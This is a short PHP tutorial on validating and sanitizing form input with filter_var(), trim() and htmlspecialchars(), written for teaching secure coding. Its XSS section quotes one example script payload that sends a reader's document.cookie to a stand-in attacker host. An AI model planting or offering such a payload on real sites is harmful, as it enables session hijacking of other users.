php-validacion-y-sanitizacion-de-datos-en-php

Data Validation and Sanitization in PHP

  • 3 min

Validating data means checking that it meets the expected rules, while sanitizing it involves transforming it in a controlled manner.

In web security, there is a rule you must tattoo on your mind: “Never trust the user.”

Any data coming from outside ($_GET, $_POST, $_COOKIE) is potentially dangerous. It could be an innocent user making a typo, or a hacker trying to break your website.

To protect ourselves, we use two layers of defense: Validate and Sanitize.

Validation (is the data correct?)

Validation consists of checking if the data meets the requirements we expect. Validation does not change the data; it only tells you “Yes” (passes) or “No” (fails).

  • Example: “Is this a valid email?”
  • Example: “Is the age a number between 18 and 99?”

The modern PHP tool for this is filter_var() with validation filters.

$emailInput = $_POST['email']; // Let's say "juan@example" (missing the .com)

if (filter_var($emailInput, FILTER_VALIDATE_EMAIL)) {
    echo "The email is valid.";
} else {
    echo "Error: The email format is not correct.";
}
Copied!

Sanitization (is the data safe?)

Sanitization consists of cleaning the data. It removes illegal or dangerous characters. Unlike validation, here we do modify the variable.

  • Example: Removing letters from a field that should be a phone number.
  • Example: Removing HTML tags from a comment.

We also use filter_var(), but with sanitization filters.

$dirtyEmail = "  juan/(@)site.com  ";

// FILTER_SANITIZE_EMAIL removes all characters except letters, numbers, and !#$%&'*+-=?^_`{|}~@.[]
$cleanEmail = filter_var($dirtyEmail, FILTER_SANITIZE_EMAIL);

echo $cleanEmail; // Output: [email protected]
Copied!

Enemy #1: XSS (Cross-Site Scripting)

The most common attack in forms is called XSS. It occurs when a malicious user writes JavaScript code in your form, and you print it as-is on the screen.

The Attack: Imagine someone comments on a forum: <script>window.location='http://hacker-site.com?cookie='+document.cookie</script>

If you print that with a simple echo, the browser of whoever reads the comment will execute that code and their session will be stolen.

The defense: htmlspecialchars() This function converts special HTML characters (<, >, &, ") into safe entities (&lt;, &gt;, etc.). The browser will display the code, but it will not execute it.

// BAD: Vulnerable to XSS
echo $_POST['comment']; 

// GOOD: Safe
// Converts <script> to &lt;script&gt;
echo htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
Copied!

Note: Nowadays, template engines like Blade (Laravel) or Twig do this automatically, but in raw PHP you must do it manually whenever you print user data.

Processing data from start to finish

To process a form professionally, follow this order:

  1. Reception: You receive $_POST['data'].
  2. Cleaning (Trim): Use trim() to remove whitespace at the beginning and end.
  3. Validation: Check if the normalized value meets the rules.
  4. Transformation: Sanitize or convert only when the domain requires it, without hiding invalid data.
  5. Escaping (Output): Use htmlspecialchars() only when displaying it on the screen.
$name = $_POST['name'] ?? '';

// 1. Trim spaces
$name = trim($name);

// 2. Validate (e.g., not empty and not too long)
if (strlen($name) > 0 && strlen($name) < 50) {
    // 3. Save to DB (Here we would use prepared statements to avoid SQL Injection)
    // saveToDB($name);
    
    // 4. Display to the user safely
    echo "Thank you for registering, " . htmlspecialchars($name);
} else {
    echo "Invalid name";
}
Copied!